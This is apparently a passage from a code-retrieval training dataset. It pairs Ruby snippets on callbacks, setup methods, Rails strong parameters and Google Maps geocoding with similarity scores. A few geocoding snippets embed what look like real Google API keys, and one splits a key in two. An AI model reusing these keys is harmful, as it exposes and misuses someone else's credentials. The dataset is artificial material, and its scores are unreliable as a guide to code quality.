"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a list of trusted parameters through. | def user_params
params.require(:user).permit(:first_name, :last_name, :email, role_ids: [])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def safelist; end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] | [
"0.6949516",
"0.68133247",
"0.6803944",
"0.6795208",
"0.6745487",
"0.67407674",
"0.65270406",
"0.6520888",
"0.6491314",
"0.6430685",
"0.6430685",
"0.6430685",
"0.6398393",
"0.6355302",
"0.63544565",
"0.6347063",
"0.6343035",
"0.63376737",
"0.6326283",
"0.6326283",
"0.6326283",
"0.63138837",
"0.6299373",
"0.6265234",
"0.6260794",
"0.62575966",
"0.6235641",
"0.62269944",
"0.6221537",
"0.62200975",
"0.6209341",
"0.61993533",
"0.6196644",
"0.61734784",
"0.6157504",
"0.61563677",
"0.61531556",
"0.61367255",
"0.6121853",
"0.611264",
"0.6075028",
"0.6071518",
"0.6062771",
"0.60561144",
"0.60451925",
"0.6035775",
"0.6021841",
"0.6019149",
"0.60172117",
"0.60114187",
"0.6009556",
"0.6009536",
"0.6006603",
"0.60043883",
"0.60043883",
"0.5996597",
"0.59940183",
"0.59934527",
"0.59856695",
"0.5972229",
"0.5968881",
"0.59667784",
"0.59654486",
"0.596338",
"0.5961725",
"0.59338135",
"0.5928234",
"0.59239507",
"0.59099627",
"0.5905216",
"0.59046614",
"0.58938116",
"0.58887655",
"0.58830744",
"0.58830744",
"0.58830744",
"0.58728033",
"0.5861703",
"0.5853257",
"0.58460855",
"0.5843953",
"0.58364105",
"0.5832591",
"0.5829531",
"0.582919",
"0.58179677",
"0.58160007",
"0.5813908",
"0.581193",
"0.5803385",
"0.5803385",
"0.5799791",
"0.5795472",
"0.5784412",
"0.57823825",
"0.57773477",
"0.57751346",
"0.5768509",
"0.57671285",
"0.57628495",
"0.5757869"
] | 0.0 | -1 |
get lat/long from Google Maps API (but don't do this with seed file because it already has lat/long and there is a limit of 2500 free Geocoder API daily requests) | def store_lat_long
if self.lat == nil or self.long == nil # remove if condition once we are done with seeding (prevents updating of address from changing lat/long)
full_address = UsersController.helpers.get_full_address(self)
if full_address
geocoder = Geocoder.new
lat_long = geocoder.getLatLong(full_address)
self.lat = lat_long.lat
self.long = lat_long.long
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getLocation\n loc = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/geocode/json\",\n :query_values => {:address => \"160+Folsom,+San+Francisco,+CA\",\n :sensor => \"false\"}).to_s\n\n location_request = RestClient.get(loc)\n parsed_location_request = JSON.parse(location_request)\n\n lat = parsed_location_request[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_s\n lng = parsed_location_request[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_s\n\n [lat,lng]\nend",
"def get_lat_long_of_current(address)\n\n a = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/geocode/json\",\n :query_values => { :address => address,\n :sensor => \"false\"}\n )\n response = RestClient.get(a.to_s)\n\n response_json = JSON.parse(response)\n lat = response_json[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n long = response_json[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n [lat, long]\nend",
"def get_coords(address)\n file = open(\"https://maps.googleapis.com/maps/api/geocode/json?address=#{URI.escape(address)}&key=AIzaSyARfm-3M5KppQjgGnHK1DIYt-GmG4eJqCI\")\n contents = file.read()\n hash = JSON.parse(contents)\n lat = hash[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_f\n lng = hash[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_f\n return [lat, lng]\nend",
"def set_lat_lng\n return if do_not_connect_to_api\n return if latitude.present? && longitude.present?\n address_txt = URI.encode([street_number, route, city,\n state.to_s + ' ' + zipcode.to_s, country].compact.join(', '))\n\n data = JSON.parse(open(\"http://maps.googleapis.com/maps/api/geocode/json?address=#{address_txt}&sensor=true\").read)\n return unless data['results'].count > 0\n result = data['results'].find { |r| r['geometry'].present? && r['geometry']['location'].present? }\n return unless result\n self.lonlat = \"POINT(#{result['geometry']['location']['lng']} #{result['geometry']['location']['lat']})\"\n end",
"def getLatLng(city, country, http)\n puts \"getLatLng(#{city}, #{country}, http)\"\n validLatLng = /-?\\d+\\.?\\d*/\n responseLoc = /.*\\\"lat\\\": (#{validLatLng}).*\\\"lng\\\": (#{validLatLng}).*/m\n lat = \"\"\n lng = \"\"\n \n cityAry = city.split(' ')\n subRequest = cityAry[0]\n (cityAry.size-1).times{ |i|\n subRequest += '+'\n subRequest += cityAry[i+1]\n }\n \n subRequest += ','\n \n countryAry = country.split(' ')\n subRequest += countryAry[0]\n (countryAry.size-1).times{ |i|\n subRequest += '+'\n subRequest += countryAry[i+1]\n }\n \n request = \"/maps/api/geocode/json?address=#{subRequest}&sensor=false\"\n # puts \"request: #{request}\"\n response = http.request_get(request)\n \n if response.body =~ responseLoc\n lat = $1\n lng = $2\n end\n\n sleep 0.5 #Sleep a second so that Google doesn't rate limit me\n \n if lat == \"\" or lng == \"\"\n puts \"TROUBLE! #{request}\"\n puts response.body\n LatLng.new(-200,-200)\n else\n LatLng.new(lat.to_f, lng.to_f)\n end\nend",
"def create_lat_long_coordinates(location)\n gmaps = GoogleMapsService::Client.new\n lat_long = gmaps.geocode(location)\n latitude = lat_long[0][:geometry][:location][:lat]\n longitude = lat_long[0][:geometry][:location][:lng]\n lat_long = [latitude, longitude]\n end",
"def get_google_coordinate(address)\n url = 'http://maps.googleapis.com/maps/api/geocode/json?sensor=false&language=zh-CN&address=' + URI::encode(address)\n decoded = call_api(url)\n\n if decoded['status'] == 'OK' then\n ret = decoded['results'][0]['geometry']['location']\n else\n ret = {}\n end\n\n return ret\nend",
"def get_location\n location_request = Geocoder.search(gets)\n if location_request.count != 1\n \"Whoops, we couldn't pinpoint your exact location with that address. Please try again.\"\n get_location\n else\n location_lat = location_request[0].data[\"geometry\"][\"location\"][\"lat\"]\n location_lon = location_request[0].data[\"geometry\"][\"location\"][\"lng\"]\n {lat: location_lat, lon: location_lon}\n end\nend",
"def tryGoogle(location)\n url = getGoogleURL(location)\n data = Net::HTTP.get_response(URI.parse(url)).body\n result = JSON.parse(data)\n latlong = result[\"results\"][0][\"geometry\"][\"location\"]\n return [latlong[\"lat\"], latlong[\"lng\"]]\n end",
"def get_coordinates\n checked_google_response do\n return parsed_response if raw\n parsed_response[\"results\"].inject([]) do |memo, result|\n memo << { \n :lat => result[\"geometry\"][\"location\"][\"lat\"], \n :lng => result[\"geometry\"][\"location\"][\"lng\"],\n :matched_address => result[\"formatted_address\"],\n :bounds => result[\"geometry\"][\"bounds\"],\n :full_data => result\n }\n end\n end\n end",
"def get_lat_lng(search_term)\n url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?key=AIzaSyD1eA_mMwy_51cCkRHu06g2GeFw8rdJmgU&location=12.9923408,77.5947617&sensor=false&radius=50000&keyword=#{search_term}\"\n p URI::escape(url)\n response = JSON.parse(RestClient.get(URI::escape(url)), :symbolize_names => true )\n p response\n location_hash = response[:results][0][:geometry][:location]\n lat = location_hash[:lat]\n lng = location_hash[:lng]\n name = response[:results][0][:name]\n [name, lat, lng]\n\nend",
"def geocode(address)\n response = HTTParty.get(\"https://maps.googleapis.com/maps/api/geocode/json?address=#{address.gsub(' ','+')}&key=#{API_KEY}\")\n sleep(1)\n data = JSON.parse(response.body)['results']\n location = []\n location << data[0]['geometry']['location']['lat']\n location << data[0]['geometry']['location']['lng']\n end",
"def geocode\n uri = URI::HTTP.build(:scheme => 'http',\n :host => 'maps.googleapis.com',\n :path => '/maps/api/geocode/json',\n :query => URI.encode_www_form(:address => \"#{self.address}\",\n :sensor => false))\n\n response = Net::HTTP.get_response(uri)\n if response.is_a?(Net::HTTPSuccess)\n json = JSON.parse(response.body)\n Rails.logger.error json\n location = json[\"results\"].first[\"geometry\"][\"location\"]\n self.lat = location[\"lat\"]\n self.lng = location[\"lng\"]\n end\n self\n end",
"def coordinates(user_address)\n geocoding_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/geocode/json\",\n :query_values => {:address => user_address,\n :sensor => false}\n ).to_s\n\n response = JSON.parse(RestClient.get(geocoding_url))\n location = response[\"results\"][0][\"geometry\"][\"location\"]\n location_string = \"#{location[\"lat\"]},#{location[\"lng\"]}\"\nend",
"def get_by_lat_lng\n\tend",
"def query_location_lat_long\n loc = MultiGeocoder.geocode(location)\n [loc.lat, loc.lng]\n end",
"def convert_location(address)\n loc_query = Addressable::URI.new(\n :scheme => \"http\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/geocode/json\",\n :query_values => {:address => \"#{address}\",\n :sensor => \"false\"}\n )\n\n geolocation_json = RestClient.get(loc_query.to_s)\n location = JSON.parse(geolocation_json)\n\n latitude = location[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n longitude = location[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n [latitude, longitude]\n end",
"def call_google_api_for_location(address)\n url = \"https://maps.googleapis.com/maps/api/geocode/json?address=#{\n address}&key=#{ENV['GOOGLE_API_KEY']}\"\n response = HTTParty.get url\n response.body\n end",
"def geo_coordinates_for address\n @log ||= Rails.logger\n return KNOWN_PLACES[address] if KNOWN_PLACES[address]\n \n google_data = get_geo_json address, :retries => 2\n location = google_data['results'].first['geometry']['location'] rescue {}\n \n log_empty(address, google_data['status']) if location.blank?\n [location['lat'], location['lng']]\n end",
"def reverse_geocode\n uri = URI::HTTP.build(:scheme => 'http',\n :host => 'maps.googleapis.com',\n :path => '/maps/api/geocode/json',\n :query => URI.encode_www_form(:latlng => \"#{self.lat},#{self.lng}\",\n :sensor => true))\n\n response = Net::HTTP.get_response(uri)\n\n if response.is_a?(Net::HTTPSuccess)\n json = JSON.parse(response.body)\n Rails.logger.error json\n begin\n self.address = json[\"results\"].first[\"formatted_address\"]\n self.zipcode = json[\"results\"].first[\"address_components\"].last[\"short_name\"]\n rescue Exception => e\n Rails.logger.error e\n end\n end\n self\n end",
"def query_address2latlng(query_address)\n\t\tla_clave_esa = \"AIzaSyBtlkF4i2Mmv33\" + \"uVc4aVTA5JT94-eEnRTo\"\n\t\tgeocode_url = \"https://maps.googleapis.com/maps/api/geocode/json?address=\"+query_address+\"&key=\" + la_clave_esa\n\t\tgeocode_uri = URI.parse(geocode_url)\n\t\tgeocode_response = Net::HTTP.get_response(geocode_uri)\n\t\tgeocode_hash = JSON.parse geocode_response.body\n\t\t#pp geocode_hash\n\t\tlat = geocode_hash[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\tlng = geocode_hash[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\treturn lat.to_s + \",\" + lng.to_s\n\tend",
"def geocode(location)\n # First, try World Kit\n latlong = tryWorldKit(location)\n if latlong\n puts \"Used worldkit\"\n puts latlong\n return latlong\n else\n puts \"Used google\"\n return tryGoogle(location)\n end\n end",
